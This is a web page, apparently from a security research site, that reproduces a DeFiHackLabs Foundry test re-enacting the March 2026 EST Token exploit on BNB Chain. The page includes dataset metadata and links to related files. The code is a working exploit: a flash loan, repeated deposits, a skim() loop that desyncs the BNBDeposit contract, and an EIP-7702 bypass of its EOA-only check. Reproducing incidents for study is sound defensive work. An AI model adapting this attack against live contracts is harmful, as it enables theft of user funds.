Public reproduction file
src/test/2026-03/EST_exp.sol
Public reproduction file for dataset entry EST Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 150.2 WBNB8// Attacker : https://bscscan.com/address/0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd9// Attack Contract : https://bscscan.com/address/0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd10// Vulnerable Contract : https://bscscan.com/address/0xD4524Be41cd452576aB9FF7b68a0b89aF8498a9111// Attack Tx : https://bscscan.com/tx/0x2f1c33eaaaace728f6101ff527793387341021ef465a4a33f53a0037f5bd162613// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xD4524Be41cd452576aB9FF7b68a0b89aF8498a91#code16interface IEST {17 function balanceOf(18 address account19 ) external view returns (uint256);20 function transfer(21 address to,22 uint256 amount23 ) external returns (bool);24 function approve(25 address spender,26 uint256 amount27 ) external returns (bool);28 function allowance(29 address owner,30 address spender31 ) external view returns (uint256);32 function uniswapV2Pair() external view returns (address);33 function depositContract() external view returns (address);34}36interface IBNBDeposit {37 function deposit() external payable;38 function maxDeposit() external view returns (uint256);39 function totalLP() external view returns (uint256);40 function userInfo(41 address42 ) external view returns (address, uint256, uint256, uint256, uint256, uint256, bool);43}45interface IMoolah {46 function flashLoan(47 address token,48 uint256 assets,49 bytes calldata data50 ) external;51}53interface IMoolahFlashLoanCallback {54 function onMoolahFlashLoan(55 uint256 assets,56 bytes calldata data57 ) external;58}60address constant REAL_EXPLOITER = 0xCF300DE6F177ec10DB0d7f756ced3Ae2D2203BFd;61address constant EST = 0xD4524Be41cd452576aB9FF7b68a0b89aF8498a91;62address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;63address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;64address constant PANCAKE_ROUTER_2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;66contract EST_exp is BaseTestWithBalanceLog {67 uint256 blocknumToForkFrom = 89_060_337 - 1;68 address msgSender;69 uint256 senderPrivKey;71 function setUp() public {72 vm.createSelectFork("bsc", blocknumToForkFrom);74 vm.label(EST, "EST");75 vm.label(MOOLAH, "Moolah");76 vm.label(WBNB_ADDR, "WBNB");77 vm.label(IEST(EST).uniswapV2Pair(), "PancakePair");78 vm.label(IEST(EST).depositContract(), "BNBDeposit");80 fundingToken = WBNB_ADDR;82 // EIP-7702: attacker delegates code to Attacker contract via signAndAttachDelegation83 // This is essential — the exploit requires the EOA itself to execute contract code84 // (EOA bypass: BNBDeposit contract only allows EOAs to claim, not contracts)85 (msgSender, senderPrivKey) = makeAddrAndKey("FakeExploiter");86 }88 function testExploit() public balanceLog2(msgSender) {89 vm.startPrank(REAL_EXPLOITER);90 IEST(EST).transfer(msgSender, 2 ether);91 vm.stopPrank();93 vm.startPrank(msgSender, msgSender);94 vm.signAndAttachDelegation(address(new Attacker()), senderPrivKey);95 Attacker(payable(msgSender)).start(20_000 ether);96 vm.stopPrank();97 }98}100contract Attacker is IMoolahFlashLoanCallback {101 receive() external payable {}103 function start(104 uint256 _amount105 ) public {106 IMoolah moolah = IMoolah(MOOLAH);108 require(_amount <= IWBNB(payable(WBNB_ADDR)).balanceOf(MOOLAH));110 IWBNB(payable(WBNB_ADDR)).approve(MOOLAH, _amount);112 moolah.flashLoan(WBNB_ADDR, _amount, "");113 }115 function onMoolahFlashLoan(116 uint256,117 bytes calldata118 ) external {119 IWBNB wbnb = IWBNB(payable(WBNB_ADDR));120 IEST est = IEST(EST);121 IUniswapV2Pair uniswapPair = IUniswapV2Pair(est.uniswapV2Pair());122 IBNBDeposit bnbDeposit = IBNBDeposit(est.depositContract());124 // Step 1: Unwrap WBNB to BNB and repeatedly deposit into BNBDeposit125 uint256 depositPerTime = bnbDeposit.maxDeposit();126 wbnb.withdraw(depositPerTime * 30);127 while (address(this).balance > depositPerTime) {128 bnbDeposit.deposit{value: depositPerTime}();129 }131 // Step 2: Swap 400 WBNB for EST tokens132 _swapToken(address(bnbDeposit), WBNB_ADDR, EST, 400 ether);134 // Step 3: Send 1 EST to BNBDeposit to desync its internal state135 est.transfer(address(bnbDeposit), 1 ether);137 // Step 4: Swap remaining WBNB for more EST138 _swapToken(address(bnbDeposit), WBNB_ADDR, EST, wbnb.balanceOf(address(this)));140 // Step 5: Exploit skim() loop — repeatedly transfer EST to pair and skim to BNBDeposit141 // The skim() extracts unaccounted tokens from the pair, manipulating BNBDeposit balance142 for (uint256 i = 0; i < 100; i++) {143 uint256 amount = est.balanceOf(address(uniswapPair)) * 10 / 95;144 est.transfer(address(uniswapPair), amount);145 uniswapPair.skim(address(bnbDeposit));146 }148 // Step 6: Swap all EST back to WBNB for profit149 _swapToken(address(this), EST, WBNB_ADDR, est.balanceOf(address(this)));150 }152 function _swapToken(153 address _recipient,154 address _from,155 address _to,156 uint256 _amount157 ) internal {158 IERC20 fromToken = IERC20(_from);159 if (fromToken.allowance(address(this), PANCAKE_ROUTER_2) != type(uint256).max) {160 fromToken.approve(PANCAKE_ROUTER_2, type(uint256).max);161 }163 address[] memory path = new address[](2);164 path[0] = _from;165 path[1] = _to;166 IPancakeRouter(payable(PANCAKE_ROUTER_2))167 .swapExactTokensForTokensSupportingFeeOnTransferTokens(_amount, 0, path, _recipient, block.timestamp + 60);168 }169}Analysis
Dataset entry
Public Foundry test for “EST Token” (2026-03-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
- src/test/2023-11/3913_exp.solSame protocol or name in the dataset · 163 lines
- src/test/2025-01/98Token_exp.solSame protocol or name in the dataset · 53 lines
- src/test/2022-12/AES_exp.solSame protocol or name in the dataset · 69 lines
- src/test/2024-10/AIZPTToken_exp.solSame protocol or name in the dataset · 72 lines
- src/test/2026-06/ATM_exp.solSame protocol or name in the dataset · 195 lines
- src/test/2025-03/BBXToken_exp.solSame protocol or name in the dataset · 128 lines
- src/test/2023-09/BFCToken_exp.solSame protocol or name in the dataset · 109 lines
- src/test/2022-12/BGLD_exp.solSame protocol or name in the dataset · 113 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame protocol or name in the dataset · 186 lines
- src/test/2026-06/BYToken_exp.solSame protocol or name in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xcf300de6f177ec10db0d7f756ced3ae2d2203bfd
- Attack Contract
0xcf300de6f177ec10db0d7f756ced3ae2d2203bfd
- Vulnerable Contract
0xd4524be41cd452576ab9ff7b68a0b89af8498a91
- Attack Tx
0x2f1c33eaaaace728f6101ff527793387341021ef465a4a33f53a0037f5bd1626
File record
- Name
- EST Token
- Path
- src/test/2026-03/EST_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a91a350bd626c88bc20ea47f5d54aaa89ed9f5ee
- Language
- Solidity
- Size
- 170 lines
- Date
- 2026-03-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/EST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a91a350bd626c88bc20ea47f5d54aaa89ed9f5ee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.